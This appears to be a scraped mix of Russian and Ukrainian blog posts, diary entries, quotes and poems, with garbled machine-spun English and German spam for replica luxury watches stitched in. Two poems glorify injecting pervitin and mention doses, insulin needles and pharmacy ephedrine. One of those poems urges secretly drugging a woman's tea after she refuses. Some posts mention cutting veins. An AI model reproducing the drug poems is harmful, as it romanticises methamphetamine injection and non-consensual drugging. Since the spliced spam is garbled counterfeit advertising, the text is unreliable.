стюардессы собрали волосы в хвост и им никто не звонит

пьяные дворники спят на полу или на полке в одной из книг

балерина хранит веревку под пледом целует лебедя в шею

бальные платья спят в мусорных баках им снятся голые феи

сонные шлюхи целуют оружие курят друг другу в лицо

режиссеру отрезали уши он в палате немого кино

…

а меня никто не терял и никто не нашел

пока кто-то где-то кому-то что-то еще

Кохають не за долари і гривні,
Не за квартиру десь в новобудові.
Кохають ніжно за обійми сильні,
За посмішку й протягнуті долоні.

Цінують не за гроші, не за славу,
І навіть не за куплене авто.
Цінують за відверту, добру справу,
Цінують за прогулянки в кіно.

Shay Mitchell

Хочется кричать на весь мир! Как я счастлива

Меня заметили убитой в Лондоне
Разбитой вдребезги
С набитой мордою
Когда-то я курила прелести
Глотала странности
Кололась свежестью
Меня снимали на порнокамеры
Терзали плетками
Рождали ненависть
Мохито, ром, мескали с пряностью,
Текила, виски… все для крепости
Была я наркоманкой, пьяницей,
Любовницей,
Шикарной женщиной
И были, кажется, приходы радости
Закаты юности
Восходы зрелости
Но одиночество пластинкой сраною
Крутилось
Дрыгалось
Я вены резала
Мои мечты покрылись плесенью
Размылись ливнем
И повесились…
Но я ждала
Я очень верила
А осень плакала
Когда мы встретились…

у всіх є історія "пам'ятаю, але не розповім".
іноді ми витягуємо її з полиці, читаємо і плачемо.

восстановила страницу ВК. захотелось музыки новой… ну и поперла на страницу жены Р. а там новая страница, фотографии полные счастья и фотографии со свадьбы. так больно стало снова… нихрена не отболело… я на исходной опять.

Сенс життя має смак поцілунку.

ахахаахах☺☺☺

тільки раз, і то якщо дуже пощастить, ти зустрічаєш людину, яка поділяє твоє життя на дві частини, до зустрічі з нею і після.

Человек не властен над своим сердцем, никого нельзя считать преступником за то, что он полюбил или разлюбил.

Сегодня Рома стоял в наряде и мы договорились, что он позвонит мне ночью, когда у него будет время. Сквозь сон услышала звонок, и, как будто сидя и ожидая его, совсем не спавши, я быстренько проснулась и взяла трубку. Пытаясь не разбудить сестру, а он не попасться с телефоном, мы разговаривали шёпотом. Говорили, конечно, не долго, и по сути ни о чём, но было очень много слов о любви. И знаете, шёпот имеет свою какую-то магию и волшебство что ли. Не знаю, как это описать. Но когда он шёпотом говорил "я люблю тебя", по телу разливалось тепло, будто он передавал мне свою любовь через телефонную трубку. И когда мы договорили, я просто разревелась как маленькая и беззащитная девочка. Мне стало так грустно и одиноко, что его нет со мной рядом. Не знаю, сколько я ещё плакала, но потом долго не могла уснуть.

"Я люблю тебя до слёз. Без ума люблю."

https://ask.fm/AnnShvartsmayer

задай вопросик, пожалуйста, а то скучнярик пздц

Я не знаю, як закінчується любов. Якщо любов закінчується, мабуть, це не вона.

Угостите даму первитином,

Полтора поставьте от души!

Аккуратно, нежно, без поддувов

С тонкой инсулиновой иглы.

Угостите даму первитином!

Тише-тише, потушите свет.

Дама вас полюбит тем же мигом,

Если хорошо был сделан крест.

Угостите даму первитином,

Даже если та ответит: нет,

Предложите чашку чая мило,

Через час раскрыв его секрет.

Угостите даму первитином!

Дама будет рада вам всегда.

Тихо ей на ушко прошепчите:

От ВИНТА, родная, от ВИНТА!!!

Наверно, это мой рай

По сто раз за день вариться

И мутить деньги на кухню

У всех знакомых, друзей.

Наверно, это мой рай

С 1.5 отловиться

И пару суток гаситься,

Пугать зрачками людей.

И хорошо, что про меня пока не знают менты,

И паранойя по ночам не мешает заснуть.

Я не привыкла за очками прятать болты,

Ведь я из тех, для кого белый жизненный путь.

Наверно, это мой рай -

Найти любимую вену,

Контроль взять и наслаждаться,

Как накрывает приход.

Наверно, это мой рай,

Я так люблю эту тему,

И я не буду меняться

И врать что это пройдет.

И хорошо что есть в аптеке всегда эфедрин

И рядом те, кто может яд в любое время сварить.

Я проганяю за сутки метра так три,

Ведь желание догнаться не победить….

И продолжения дальше вроде как нет,

Но первентин еще ебашит, так что скажу

О том, как сильно люблю я весь белый свет,

Хотя нет, белый я люблю, а свет потушу)

Кьёнгх - так называется та разновидность чистого света Райны, которая нужна ждя рождения четырехсмысленного живого и не препятствует равномерному течению любых других форм материи.

Например, я - кьёнгх. То есть нет, не так. Мы – кьёнгх. В нашем языке нет единственного числа для обозначения живого, оно годится только для неодушевленных предметов, потому что о множественности всякого сознания известно даже младенцам.

Мы был зеленым потоком кьёнгх и потом еще буду. Точнее, мы суть зеленый потоккьёнгх – вечно-всегда. В нашем языке только два грамматических времени: «кратко-всегда»и «вечно-всегда», первое подходит для разговоров о сиюминутном, второе – чтобы описывать воспоминания и намерения. Какая важная подробность, огромное счастье ее вспоминать!

Макс Фрай

Один мой друг подбирает бездомных кошек,
Несёт их домой, отмывает, ласкает, кормит.
Они у него в квартире пускают корни:
Любой подходящий ящичек, коврик, ковшик,
Конечно, уже оккупирован, не осталось
Такого угла, где не жили бы эти черти.
Мой друг говорит, они спасают от смерти.
Я молча включаю скепсис, киваю, скалюсь.

Он тратит все деньги на корм и лекарства кошкам,
И я удивляюсь, как он ещё сам не съеден.
Он дарит котят прохожим, друзьям, соседям.
Мне тоже всучил какого-то хромоножку
С ободранным ухом и золотыми глазами,
Тогда ещё умещавшегося в ладони…

Я, кстати, заботливый сын и почетный донор,
Я честно тружусь, не пью, возвращаю займы.
Но все эти ценные качества бесполезны,
Они не идут в зачет, ничего не стоят,
Когда по ночам за окнами кто-то стонет,
И в пении проводов слышен посвист лезвий,
Когда потолок опускается, тьмы бездонней,
И смерть затекает в стоки, сочится в щели,
Когда она садится на край постели
И гладит меня по щеке ледяной ладонью,
Всё тело сводит, к нёбу язык припаян,
Смотрю ей в глаза, не могу отвести взгляда.

Мой кот Хромоножка подходит, ложится рядом.
Она отступает.

"Это ужасно, но люди уходят именно в тот момент, когда без них ты не представляешь своей жизни!"

Какой ты садовник, такой и сад твой избранник.

вот не люблю я такое писать и даже думать, но господи! когда девочки восхищаются тем, что их "мужчина", который даже "не медик" (ничего ж себе!) знает, чем отличается венозная кровь от артериальной, ну это пиздец. может он ещё знает, что земля круглая? в школе не учились что ли? или на уроках в окошко глядели, размышляя о розовых пони? у одной, блин, глаза цепляются за слово "лидокаин", для другой кровеносная система стала открытием. может дело не в дохера умных мужчинах, а в бабах, которые элементарных вещей не знают? больше читать надо - потом меньше удивляешься. извините (на самом деле нет), просто бомбануло.

Rachel McAdams for 'VS' Magazine, 2012

Вот и обосрался русский человек. Нет ни покупателей, ни продавцов.. Только охрана, да мы) где бы ни училась, где бы ни работала.. Везде ухожу последней

Жесть. С таких, как [ОНА] наркотиков
Ломка держит особо тяжкая.
Не до няшностей или котиков -
Нож под сердцем; два между ляжками.

И лежишь пластом обездвиженным,
Разлетаешься на молекулы, -
[НЕДОЕБ!!!] Синдром лезет грыжами.
Доползти бы, взглянуть на зеркало…

Погибая в расцвете, мысленно,
Не от спида и не от тубика;
Расшибаешь об даты с числами,
Жизни ёбаной кубик рубика!

в скором времени напишу все свои мысли и чувства по поводу приближения универа. ибо для меня это очень важно. новый этап в жизни, как-никак.

Causing a prevalent check out, it always will take not less than 9 a few months, as well as for a complex one, it even requires to two a long time. And before they are available for purchase, it always will take one more five to six weeks to 3 a few months to check every kind of this replica rolex watch. It is the check out-creating procedure for Patek Philippe residence that After all. As well as these volumes, we are able to realize that every last Patek Philippe writst watch undergoes the fragile skillfullness and well-sewed concludes, and also the most complicated examination.

This is also the primary reason why panerai replica watches are while using the great recognition with regards to brilliance and accurate. With the high technology, quality and qualification, Patek watches are certainly not made in huge amounts. Consequently, when compared to the other luxurious watches for instance Rolex watches, Cartier watches or ω wrist watches, Patek watches tend to be tough to gain. Not just with regards to constrained editions on the globe, but they are also pricing the huge high prices. Every Patek Philippe check out was created while using the special and personal model. There may be never ever one more very same piece of the exact unit on the globe until oahu is the reproduction models.

Making use of the best quality materials, engineering and activity, it's not surpring that Patek Philippe watches are worthwhile to be the finest watches on the globe. Even though original organization appears while using the select few of Patek watches each year, nice of these influences growing movement. And already, its watches are extremely-regarded as the very best luxurious and sophisticated watches while in the check out-creating marketplace. If you're while in the enthusiastic wanting to possess a wonderful Patek Philippe check out but have zero the financial potential, you may choose the best quality reproduction Patek Philippe check out alternatively because these fantastic replicas can also provide folks the prettiest and amazing experience of the posh watches.

ещё один утренний пост. ну, как утренний, сейчас уже час дня, а встала я часа два назад, так что для меня ещё утро. на самом деле, у меня сейчас нет времени на интернет, но я всё-таки включила ноутбук и решила написать что-то в свой блог.
сейчас мне нужно сделать некоторые дела по дому, потом собраться и пойти в магазин, чтобы посмотреть/купить себе кроссовки и спортивные штаны. кстати говоря, у меня нормальных вещей вообще не осталось. только свитера. вот и не знаю, что мне теперь делать, ибо на покупку всего нового нет денег, а старые уже давно на даче, потому что они уже подходят для того, чтобы носить их только на даче. но теперь у меня есть ещё одни джинсы, которые мне отдала сестра, в этот раз уже на совсем, я надеюсь. так что да, из моих новых вещей у меня только пара джинс. в общем-то, это не так уж и важно, старая одежда или новая. если вещь хорошо выглядит, то почему бы не продолжать её носить?
вчера целый день не появлялась в интернете, а всё почему? потому что у дедушки был день рождения, и мы провели этот день в кругу семьи. с Настей подарили дедушке что-то наподобие коллажа. всем очень понравилось, не зря же Настя в художке занималась. два месяца, да? мне, по крайней мере, понравилось, я бы хотела и себе что-то наподобие такого, но да ладно. вообще, я так много всего хочу, это жесть просто.

я же меняю себя, так? уверена, что и универ во мне многое поменяет, но не в этом сейчас дело. не знаю, с чего люди начинают изменение самого себя же. я просто меняю то, что всплывает. увидела какую-то мотивирующую цитату и всё, понеслось.
очень долгое время я жила в прошлом, скажем так. моя Таня может легко это доказать. и вот, только недавно я решила перестать делать это. перестала жить всеми теми моментами, которые мне хотелось повторить. перестала задавать себе вопросы, почему люди в тот момент сделали так, а сейчас не могут сделать и половины, почему эти люди вообще появились в моей жизни. нет, я не забываю прошлое, не расстаюсь с ним, я просто начинаю жить в настоящем, радоваться каждому новому дню. и знаете, от этого стало намного легче. намного.
плюс я же становлюсь "милой" по отношению ко всем людям, даже если иногда они меня раздражают очень сильно. в первую очередь это относится к Мише, потому что иногда он просто даже не пытается понять то, что я ему говорю, а я ему говорю только те вещи, в которых я уверена на 100 процентов(да и вообще, если я разговариваю или спорю с кем-то, то информацию я говорю только проверенную, ибо не люблю оказываться не права, это тоже надо немного убавить во мне). а он их даже прочитать не может. возможно, его это прикалывает, ибо он при любом удобном случае пишет "ой, всё", но меня это так сильно выводит из себя, когда человек совершенно не хочет тебя слышать и слушать. в общем, да, пытаюсь быть более мягкой. должно получиться. должно.

К сожалению, в силу своей студенческой бедности, я не могу делиться деньгами. Однако, пару раз я переводила немного денег на счёт помощи животным. В нашем городе есть очень активная группа людей, которые помогают бездомным животным, лечат их, пристраивают и т. д., и у них есть сообщество в вк. Там каждый день выкладывают посты о кошечках, собачках и просят средства на лечение, корм и прочие нужды. Когда у меня находятся какие-нибудь 100-200 рублей на эл. кошельке, то я с радостью перевожу. Может быть мои деньги не так велики, но на упаковку корма хватило бы :)

Всем здравствуйте.

На днях ездила в магазин (надо было немного обновиться к 'школе'), и на удивление удачно - купила, что хотела, и мне все нравится. Нашла идеальный для меня портфель - по цвету, форме и прочему неужели господи. Чем меньше хохоряшек и элементов декора, тем лучше.
У него такая кривая ручка, что хочется поскорей набить его учебниками (читайте - кирпичами) и ездить на учебу, тем самым вытягивая ее.

Купила еще голубой хлопковый свитер (кое-как нашла именно хлопковый, а не акриловый - ненавижу акрил. И всего за 600р!), а так же коричневые брюки.
И что приятно, после примерки штанов у меня даже не испортилось настроение, как это обычно бывает. На этот раз я была so proud of myself - я удивилась, а мотивация не отклоняться от курса удвоилась.

А вот что касаемо пленки - что ж, первый блин комом.
Нашла отдел фуджифильм, купила пленку, вставила в фотик. И только потом вспомнила, что он неисправный, но было уже поздно - пленку он промотал (наверное, добрую половину), зажевал и отдавать не хотел. Пришлось обрезать, но половину все-таки спасла. Нашла другую мыльницу, рабочую, вставила туда - все нормально, щелкает. Но тут я увидела мааленькую кнопочку, которую можно нажать только с помощью зубочистки - интересно, почему же ? Да потому, что это, мать ее, перемотка (поняла это по угрожающему жужжанию и убывающему числу кадров на дисплейчике. в это время с криком NOOONONO НЕ УХОДИТЕ жала на все кнопки). В общем, пришлось ехать за новой пленкой.
Сейчас все хорошо, отсняла 7 драгоценных кадров. Берегу, как могу :D
Кстати, это очень хороший способ отучить себя щелкать одно и то же по триста раз.
Думаю, если войду во вкус, то задумаюсь о приобретении Зенита или ФЭДа - хочется чувствовать в руках нечто потяжелее. Но перед этим, разумеется, надо изучить их характеристики и вообще хоть немного вдаться в мир пленочной фотографии. Ибо на данный момент я в этом полный ноль.

Когда утром зазвонил будильник, я совсем растерялась. Забыла, что мне надо собираться на работу, кажется, я всё еще была в своих мыслях. Несколько минут до меня доходил тот фак, что я уже в реальности, а не во сне..

И почему я постоянно выбираю не тех мужиков. Это что ли дар? И даже с возрастом ниче не меняется. Ну казалось бы, становишься вроде старше.. Или только старше? Мудрее и умнее мол мне никто в комплекте и не обещал? Почему выбор мой постоянно падает на тех, из за кого чувствуешь себя уебой совершенной, а не жээээнщиной в полном расцвете? Ну почемууу???

в моей жизни появился еще один пример того, что стоит сказать мне "прости" и я принимаю обратно. каким бы близким мне не был этот человек и как бы больно он не сделал при уходе, я принимаю. дура.

и + еще один пример, как, блять, люди жестоки и любят издеваться. Серёж, ты сказал, что не издевался, но что это тогда? я уже имею право тебя ненавидеть, да? только когда же я смогу начать это делать.

сейчас я просто сбегаю от всего на улицу и буду раскрашивать с подругой свою антистрессовую раскраску. надеюсь, меня отпустит.

Тут так много глупых людей, они всё рушат

я одна во время КД превращают в пылесос, который просто жретжретжрет и каааапельку жрееееееет?!

Сейчас снова поругались, а почемуу? А потому что я виновата, конечно же, что у него пересменка на практике будет как раз тогда, когда я приеду в город, и что мы не увидимся еще неделю! Я что-то начала говорить, а он положил трубку. Как обычно. Ну что ж, навязываться никому не буду, тем более мне уже все равно: пусть хоть через пол года со своей практики возвращается. По-хуй. Я не буду терпеть вечные упреки. К тому же, его неуважение к моей семье, которое проявляется хоть и косвенно и даже, возможно, неосознанно, но оно есть и приводит меня в ярость. Уж что-что, а семью и друзей я буду защищать до последнего.

Мы стали взрослыми, другими, злыми,
И нам уже друг друга не понять.
Мы шли путями сжатыми, чужими,
И так хотели встретиться опять!
О чем поговорить, совсем не знали,
Да и не думали об этом в тот момент,
Когда две капли сообща упали
На затвердевший и бесчувственный цемент.
Мы были взрослыми, но многого не знали
О том, как поменяются мечты.
И капли на цементе высыхали,
И вяли желтые и четные цветы…

Слегка прикрывшись одеялом, думаю, о чем бы написать. Утром лучше бы подольше не вылезать из постели, спать и видеть сны, а проснувшись, попросить прямо в постель кружечку теплого кофе.

Напишу о себе, у меня все хорошо. Скоро конец лета и все суетятся, будто заканчивается их жизнь. Нет же, за летом приходит осень, как и за дождем, приходит радуга, я думаю, все поняли мою аллегорию. Жизнь меняется, мы становимся лучше, узнаем много нового, осознаем новые понятия и переступаем через новые преграды. Желаю, чтобы этой осенью ваши мечты становились вашей судьбой.

Я безумно счастлива с (2), хотя нет, уже с моим единственным. Осознание сильных чувств, глубокой привязанности меня не покидает. Мы отдыхали на море вместе, он первый с кем я не чувствовала себя как-то " ну есть он и есть, завтра мы уже поедем по домам и все равно". Нет, мне же хотелось оставаться с ним намного дольше, цепляться за каждый момент проведенный с ним, наслаждаться им.

Мой папа хочет еще ближе с ним познакомиться. Мол, я же с его родителями замечательно общаюсь, а с его мамой часто общаемся по телефону. Куда это все идет. Просто, все хорошее оно все равно рано или поздно заканчивается.

Скоро начнется учеба. На этом все, хах. Тут ничего хорошего.

Я ездила в Россию, покупала себе вещи на осень, но, хочу сказать, Макдоналдс у вас просто отвратителен, а вот от шоколадок я в восторге.

Скоро день города, а это значит, что город миллиона роз зажигает свои праздничные огни и спешит поздравить всех дончан!

Какие вам темы интересны? Что бы вы хотели почитать в моем блоге? Удачного всем дня, а я пошла в зал!

Он прочитал письмо и улыбнулся.
Он прочитал письмо, как в первый раз.
И что-то, равноценное надежде,
Коснулось вдруг его холодных глаз.

Он знал, что где-то там, за горизонтом,
Есть девушка, которая его
Оценит и которая так любит,
Не променяет никогда ни на кого.

Огни бросает в окна серый вечер.
Он курит в злое небо сентября.
Не будет никогда уже их встречи.
И оба знают - не судьба. А зря…

Если ты можешь меня заменить другими, значит ты мне не нужен.

Итак, сегодня во сне я ехала в автобусе, набитом моими одноклассниками. Хотя после того, как я выпустилась, общаюсь только со своими двумя девулями, а про остальных мне даже не интересно знать. В общем, я еду рядом с Катей, и она мне передает подарки от каких-то то ли родственников, то ли друзей. Одним из подарков была красная помада, которой я с роду не красилась, исключая выступления, но тут навозекалась и стала ничего себе такой дамой)) Вышла из автобуса с мамой. Там все были с мамами почему-то. Перед тем как выйти, долго собирала свои вещи по сиденью, они каким-то странным образом разлетелись. В итоге, я иду собирать малину и встречаю маааленького пикинесика. Ну, естественно, начинается СЮСЮСЮ УНЯНЯ АСИСЯЮШКИ и тут подходит бабушка, строоогая такая. Я напугалась, думала, что это ее огород, ее собачка, и она начнет сейчас ругаться, но нет) Мы с ней подружились, она разрешила набрать малины, помидоров, перцев и еще каких-то овощей. А потом я вышла в обычный двор и там росла огроомная спелая виктория. Я по быстрому набрала ее, пошла вроде как домой, взяла велик, а на велике я вообще кататься не умею, села и поехала к подруге с общаги вместе с тазом овощей и ведерком ягод… Опять срочно в сонник!))

Maybe you have observed a mobile phone can be utilized on the fretting hand? Maybe you have observed a wrist watch that's on the web and schedule phone functions? Is that a brand new digital Tag Heuer replica watches camera product or service? For a lot of, maybe this could only come in shows but is a prop. It is the enjoy phone meaning the cellular sector has met with a brand new times.


While not once came out in front of us, the flamboyant replica watches for men form of enjoy phone profoundly amazed me nowadays. Absolutely, you may still find some people don't know anything concerning this.

Things are changing. Observe phonelectronic is the foremost embodiment of your evolving frequently. The upgrading of digital camera product or service gets swifter and swifter that In my opinion anyone can find it. Even so, some people would not that is amazing gadgets can be utilized on the fretting hand like designer watches someday. Just slenderk, it&rsquos so interesting it's a captivating issue that quite a few persons aim for. Who have believed that handset can match enjoy. And in case you don&rsquot appearance properly, you could think that it must be just an mp3.


Even whether it is a handset such as a enjoy, it offers all the parts of a common handset in fact. Colouring monitor and function important factors are needless to say. At thelectronic major is phone speaker and listed below is microphone stand. Certainly, the purpose digicam is usually an fundamental factor. A digicam is attached with the bulgy host to the superior. Consequently, while wearing this timpiece phone, it is only to facing outward of this hands. It's simple to just raise the hand and strong this timpiece phone in the concentrate on you'll be able to carry images.


Even more rewarding, when compared to this timpiece phone previous, now its monitor has the ability to keep the function of touch regulate. This wrist watch phone might even supply customers a stylus pen to closely with using the touch screen. What? A stylus pen? Why I could&rsquot see where the stylus pen is? Just glance at the watchband, a two-phase stylus pen is placed inside watchband. That is easier and ingenuity. Don't appearance which the enjoy phone is really so minor, it comes with memory and Micro sd card extended storage. The card slot is attached with the proper of enjoy stand. You will notice it is a charger, ear phones and data cable connection 3 interfaces juxtaposing unit card slot.


Right after joining the screensaver, this timpiece monitor will demonstrate a simulated time clock or electronic digital time clock which facetson diverse customer desire options. Think about observe would be that the phone monitor will not nearby but just nearby its backdrop lighting when on the screensaver. To ensure the phone monitor will shimmer inside dark you'll be able to enjoy the time certainly and simply. When, this timpiece phone is not any big difference having an regular digital camera enjoy.


What&rsquos more, this timpiece cell phones use common phone speaker in order that the phone band is really loud. In addition to, this timpiece phone is utilized on the submit regular time, in case starting up the function of vibration, I believe that nobody will pass up telephone calls.
How interesting this timpiece phone work extremely well like the way 007 always has an ideal tool in the appropriate instant. Just hink, this timpiece phone can perform your magic formula agent aspiration. When there is an incoming call, you may take off this timpiece phone or put it for a headsets or hit the InchHandsfreeInch, unquestionably if you'd like to get real you call contact a wi-fi ear phones.






At primary see, it looks like a typical mobile &mdash same measurement, same contour, same total a earance. However it is a proper GSM increase frequencies handset. As you may see on top of the enjoy device's level is just appropriate, not major, to ensure that thouht the woman would wear partner's clothes appearance observed very awkward.
In frequently, enjoy phone is probably a lovely phone, its contour appearance and rich functions at the very least not even worse than regular leisure phone. To utilize it on your fretting hand, not a soul will be aware you might wear a handset which means you needn&rsquot bother about the criminals will observe your mobile. Hence, we now have explanation to consider which the enjoy cell phones will succeed the hearts and minds of people who intently go through pattern and also the search for fashion.

С Днём Рождения, Солнцева! С Юбилеем!

Иногда я вспоминаю, какой представляла себя в 20 лет. И сейчас я оказываюсь лучше тех представлений.

Девятнадцатилетняя я двигалась семимильными шагами. Так что 19 лет можно выделить в отдельную маленькую жизнь. Если так и дальше пойдёт, потребуется не так уж и много времени, чтобы научиться по-настоящему летать.

Я обещаю себе никогда не опускать рук,
по возможности делать два шага вместо одного,
не бояться говорить с теми, с кем хочется говорить.

P.S. время цветов.

7 утра, а я все еще думаю, чертовы мысли, дайте мне толику покоя

Работать сегодня ну никак не настроена. Вчера весь вечер промучалась с давлением. Надо бы на ДР попросить, чтобы подарили тонометр как истинной бабушке) Тошнило до часу ночи, потом еле уснула и…та дам! Гром, молнии и громкий, сука, очень громкий ливень. Снилась всякая чушь, во сне тоже шел ливень. В итоге встала утром вся опухшая, даже душ не помог. Дурацкий организм.

Еще эти странные люди-знакомые, которым обязательно что-то хотят и пытаются отыскать везде, пишут во всех соц. сетях. Как хорошо, что мой номер мало кто знает.

Сходила за кофе, надеюсь скоро оживу)

господи до чего ебаное чувство, когда вот-вот получишь то, чего хотел, а уже не хочешь

26 - больница. 27 - переезд. 28 - больница. 29 - переезд: часть 2. Медицина, что ты со мной делаешь?

Да, это слезы не по человеку, это слезы по тому, как я себя чувствовала рядом с ним.

И что? От осознания этого должно стать легче?

Я покажу тебе космос в одно касание Смотри в глаза, детка, узнавай меня

Manchmal ist eine lässige Entscheidung in einem Moment machte kann Meister wie dem neuen Print-Anzeige des berühmten Uhrenfirma hublot replica uhren führen. Ich gebe die Anzeige ist wirklich interessant, dass es geschafft, mich zu fangen, um zu sehen, was zum Teufel ist mit dem Mann passiert ist. Nun stellt er sich als Bernie Ecclestone, CEO der Formula One sein. Es wird gesagt, dass er vor kurzem in London von Dieben, die mit £ 200.000 im Wert von Wertgegenständen einschließlich einer Hublot gemacht fallen Uhr, die er zu der Zeit trug. Wort ist, dass Bernie widerstanden und schlug zurück, aber anhalt einige hässliche Verletzungen während des Angriffs.

Nicht ohne einen Sinn für Humor, nahm Ecclestone ein Foto von sich und schickte es an Geschäftsführer von Hublot Jean-Claude Biver am selben Tag mit der Nachricht: "Sehen Sie, was die Leute für eine Hublot tun." Dann Ecclestone haben beschlossen, die richtigen Fotos zu machen das Herzstück einer Hublot Print-Anzeige.

Ich bin nicht sicher, dass die besten replica uhren, die in der Anzeige erscheint, ist die genaue ein, dass Ecclestone trug, aber das sollte ein Triumph der schwarzen Humor sein. Das Paar dachte, es wäre ein lustiger zu machen, wenn makaber, einmalige Anzeige, die in der Financial Times und der International Herald Tribune am Dezember 8 bzw. 9 erschienen. Die Anzeige zeigt das Originalfoto zusammen mit Ecclestone markigen caption. Und Hublot, sagte der Anzeige wird nicht wiederholt.

Мотивирую себя. Я же хочу путешествовать. Я же хочу крутую тачку, шубу и сережки. Туфельки, сумочку, вкусную еду и айфон, на который я буду все это фотографировать. Я же хочу жить в красивом доме. Значит для этого мне нужна хорошая работа. Тут слово работа обводим в кружок и ведем две стрелочки. На работу берут либо а) хорошее образование б) супер связи. Второго у меня нет. Так что нужно получать образование. Чтобы учиться в универе нужно туда поступить на грант. Чтобы поступить на грант я должна этот год пахать. Всего лишь год. Потом зато поступлю.

Русского человека нихуя не смущает) ну тайфун же сегодня к вечеру, и дождь уже начался. Шла на работу в уверенности, что нас отпустят раньше. Зашла в супермаркет, а там большинство кассиров тупо не вышло на работу)) а те, кто вышел, еле чешутся.. Приходим такие на свою работу.. Кароч, за два часа 10 тысяч подняли. Народу дохуяяяяя.. К тайфуну надо срочно закупиться кремами?? У нас свет мигает и трещит, а им вообще всё похер! Они гуляют в ливень, бляха-муха! Я не хочу заночевать здесь:(( (я хочу домооой, хочу горячего бульончика и спать: (

Заселили с шестикурсницой в комнату. Комната крутая, почти как в квартире. 7 этаж. Томик Есенина на тумбочке согрел мою душу. Мы с ней еще не встречались, но где-то 27-28 увидимся. Ах да, ее зовут Дина.

Would you like some coffee?

Let 's Rock!

(x)

+

я ревела навзрыд с самого утра и весь день, до следующего утра. и каждый час я узнавала все новые и новые подробности. и каждый раз я ахуевала от увиденного\услышанного\прочитанного. так больно мне не было еще никогда. я готова была утопиться, лишь бы не чувствовать этой боли. я молила бога о том, чтобы он убрал подальше от меня эту боль. я смотрела в небо и ждала чуда. но чуда так и не случилось. может оно и к лучшему. ближе к утру я успокоилась, просидев всю ночь на балконе, выкурив пачки три сигарет. я хотела угробить свое здоровье, лишь бы не чувствовать ничего. на утром мне действительно стало легче, но как только я вошла в свою комнату, поток чувств хлынул градом заново и все началось опять. "поплачь - станет легче". извините, не стало.

досмотрела 2 сезон сао: болит голова, так как много плакала, и тошнит, потому что объелась харибо. уф.

Когда мы не ругаемся - я счастливый, как никто, и солнце светит ярче, и настроение лучше, и я влюбленная до краев. Когда ругаемся - это откровенный пиздец. Депрессивная, ничего почти не ем и слишком много курю электронную сигарету.

Проснулась рано, но долго не могла встать. Самочувствие подводило. Спасибо нервам. Попила имбирь с мёдом, даже не ела. Не сдержалась и написала Владю, писала и плакала. Довольно долго вели перепалку вк и вели бы ещё, уверена, но ему нужно было ехать мне за подарком. Сказал, что если будет желание, чтобы я набрала Женьке до 4-5. Я почувстовала какую-то опустошённость. Внезапно позвонила Владя мама, пригласив меня на программу, подням тем самым мне настроение. Однако, спустя минут 15 у меня закружилась голова, перед глазами всё плыло, держалась за стенки. Решила прилечь. Вроде, уснула, а может, и нет. Разбудил мамил звонок. Решила зайти вк, где меня уже ждало сообщение от милого: "Где ты?", - созвонились, долго разговаривали. Он предлагал всё-таки пойти в парк, взять братьев, небесный фонарик, но я отказалась.. Слёзы стекали по щекам. Дудь спрашивал, пойдём ли куда, чего я хочу, а я на автомате: "я не знаю", - действительно, я не знала. Во всех смыслах. Сошлись на том, что он перезвонит мне через полтора часа и я точно уже решу, чего хочу. Приехал папенька, привёз журналы, открытки милому, но я сочла, что лучше оставить их до завтра, ибо в нынешнем расположении духа я бы написала совсем не то, чего бы хотела. Никаких негативных ноток.. Время пролетело быстро, позвонил Владь, спросил, собираюсь ли я, сказал, что заедет ко мне. Заранее наложила ему еды, чтобы сразу подогреть, как приедет. Приехал, вручил розу, подарок. Просил, чтобы я посмотрела. Я догадывалась, что меня там ждёт..)

-Там всё равно не то, чего я хотела, - не ссориться, вот чего я хотела.

-Там то, что ты хотела и будет то, что ты хочешь.

У меня есть такая странная черта- не могу смотреть подарки перед кем-то.. Решили, что Владь пока будет кушать, а я возьму подарок и пойду в зал, посмотрю его. Сначала посмотрела украшение, после кольцо.. Испытала шок, после чего накатила истерика, пошла к Владю.) Он 100500 раз спросил, понравился ли мне подарок. А он мне мог не понравится? Особенно то, что я "клянчила", ахаха.)) Думали, что делать. Полина и Рустик звали на стенд ап, Владь предложил в кино. Написали в нашу беседу, вторая Полина и Женька согласились. Правда, Полину пришлось ещё поуламывать, но я смогла.) У меня не было настроения (из-за того, что я планировала этот день по-другому), долго не могла подобрать одежду, злилась, истерила. Владь предлагал сходить в парк завтра перед поездкой на дачу к Лёшке, но мы решили, что лучше в пятницу. Взяла себя в руки, решила, в чём поеду, сделала вечерний мейк, поехали. Сначала к нам должен был в поезд подсесть Женька, через 3 станции Полина. Подъезжаем к станции, где ждёт Женька, сидит на лавке, я ему кричу из вагона, машу, а он смотрит в другую сторону. Хотя сам нам сказал садится в первый вагон.) В последний момент увидел меня, подскочил, но двери перед ним закрылись. Он был зол.)) Договорились встретиться на станции, где нас ждала Полина. Рассказале Полине случившийся инцидент, поржали. Как раз подъехад возмущённый Женька.)) В кино мы пришли, как обычно, во время трейлеров. Дудь залетает в кинотеатр, кричит мне:

-Быстрее!, - бегу за ним.

Не успеваю подойти к кинобару, милый:

-Быстрее, кого тебе покупать?, - не думая:

-Тора!

-А попкорн?

-Карамельный.

-А магнитик хочешь?

-Неа..

-Выбирай, какой хочешь, - мимимими <3

Я впервые смотрела "Миссия невыполнима".) Очень даже ничего.) Но от Тома Круза я не в восторге, как многие. Чего стоит его нос.. Во время кино звонил Рустик, говорил, куда нам после подъехать. Фильм закончился намного позже наших ожиданий, так что лично мне не было смысла ехать к ребятам на район. Решили, что Владь меня проводит домой. Но в метро милый предложил зайти в Мак. Женька сначала был против, но после согласился. Полина поехала домой, мы в Мак. Нам очень повезло: на Макдрайве не было ни одной машины. Правда, заказ готовили долго. Покушали, поболтали. Я постояла с милым и Женькой на остановке, дождалась их транспорта, после потопала в ночную аптеку за эфирным маслом.

Да, день прошёл совсем не так, как я хотела, ждала, однако.. Главное, что мы в этот день были вместе, а остальное- формальности.

Нам 5 месяев <3

Папенька порадовал ^^

Подарок для милого.

Оочень длинная роза^^

Подарок от милого <3

Большой и шикарный бутон.

Да, это кольцо.) Но это совсем не то, чем может показаться.)

Я уже писала, что по приколу говорила Дудю размер своего пальца, намекая на кольцо.. Частенько, не стану грешить..) А он взял и подарил мне кольцо.) Мое реакция, когда я открыла пакет, коробочку- истерика, шок.)

Оооо <3

После киношечки.)

По традиции похода в кино Владь пополнил мою коллекцию не только фигуркой Тора, но и магнитиком ^^

<3